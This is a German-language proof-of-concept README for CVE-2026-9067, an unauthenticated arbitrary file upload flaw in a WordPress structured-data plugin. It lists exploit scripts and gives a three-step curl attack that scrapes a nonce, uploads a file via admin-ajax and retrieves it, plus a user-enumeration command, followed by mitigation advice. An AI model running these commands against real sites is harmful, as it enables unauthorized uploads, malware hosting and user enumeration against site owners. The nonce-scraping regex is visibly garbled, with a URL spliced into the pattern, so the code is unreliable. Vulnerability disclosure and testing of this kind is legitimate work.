POC & Xploit - Proof-of-Concept-Verzeichnis
Dokumentation und Exploit für Schwachstellen, die in der WordPress-Sicherheitstestumgebung gefunden wurden.
Liste der Schwachstellen
| CVE ID | Plugin | Schweregrad | Typ | Status |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Hoch (8.1) | Unrestricted File Upload | Dokumentiert |
CVE-2026-9067
Kurzzusammenfassung
Beschreibung der Schwachstelle
Das Plugin Schema & Structured Data for WP & AMP vor Version 1.60 validiert weder die Benutzerfähigkeiten in den AJAX-Handlern für Datei-Uploads noch den hochgeladenen Dateityp. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Dateien hochzuladen.
Auswirkungen
- Content Hosting: Angreifer können bösartige Inhalte auf der Domain des Opfers hosten.
- Disk Consumption: Beliebige Datei-Uploads können Speicherplatz verbrauchen.
- Reputation Abuse: Verteilung von Malware, Phishing-Seiten von der Domain des Opfers.
Wichtiger Hinweis: WordPress Core blockiert ausführbare Dateien (.php, .phtml, .html, .svg), sodass kein direkter RCE-Pfad von dieser Schwachstelle ausgeht.
Dateien
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentation vollständig (diese Datei)
├── CVE-2026-9067.py # Python-Exploit mit Multi-Threading
├── CVE-2026-9067.sh # Bash/Shell PoC-Skript
└── CVE-2026-9067_exploit.sh # Alternatives Bash-PoC
Kurzer PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
Testbefehle
Website-Status prüfen
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
Plugin-Version prüfen
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
Benutzer auflisten
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
Abhilfe
- Plugin aktualisieren: Aktualisieren Sie Schema & Structured Data for WP & AMP auf Version 1.60 oder neuer.
- Plugin deaktivieren: Wenn ein Update nicht möglich ist, deaktivieren Sie das Plugin.
- Härtung:
- Setzen Sie die Konstante
DISALLOW_FILE_MODIFICATIONS.
- Deaktivieren Sie die PHP-Ausführung im Uploads-Verzeichnis via
.htaccess.
- Implementieren Sie WAF-Regeln.
Referenzen